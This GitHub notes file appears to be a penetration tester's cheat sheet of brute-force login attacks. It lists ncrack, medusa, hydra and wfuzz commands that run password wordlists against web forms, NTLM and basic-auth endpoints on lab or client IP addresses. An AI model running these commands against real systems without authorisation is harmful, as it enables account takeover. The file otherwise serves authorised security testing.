notes/bruteforce.txt at master · tr0nucf/notes · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BRUTE FORCE

ncrack -v -iX nmap.xml -g CL=5,to=1hr
medusa -d
	-dump all modules to stdout
medusa -h 10.11.1.71 -u username -p password -M module
medusa -H hostsfile -U usersfile -P passwordfile -M module
patator
hydra
crowbar


POST
wfuzz --hc 404 -c -z list,admin -z file,/opt/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZZ" http://192.168.1.111/admin/index.php
hydra 192.168.1.111 -s 80 http-form-post "/admin/index.php:user=^USER^&password=^PASS^:Moved Temporarily" -l admin -P /opt/SecLists/Passwords/korelogic-password.txt -t 20
NTLM
wfuzz -c --ntlm "admin:FUZZ" -z file,/opt/SecLists/Passwords/darkc0de.txt --hc 401 https://192.168.3.11/api
BASIC AUTH (through proxy)
wfuzz -c --hc 404,400,401 -z file,/opt/SecLists/Passwords/korelogic-password.txt -z file,/root/Documents/Audits/ActivosProduban/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https://192.168.3.11/api/v1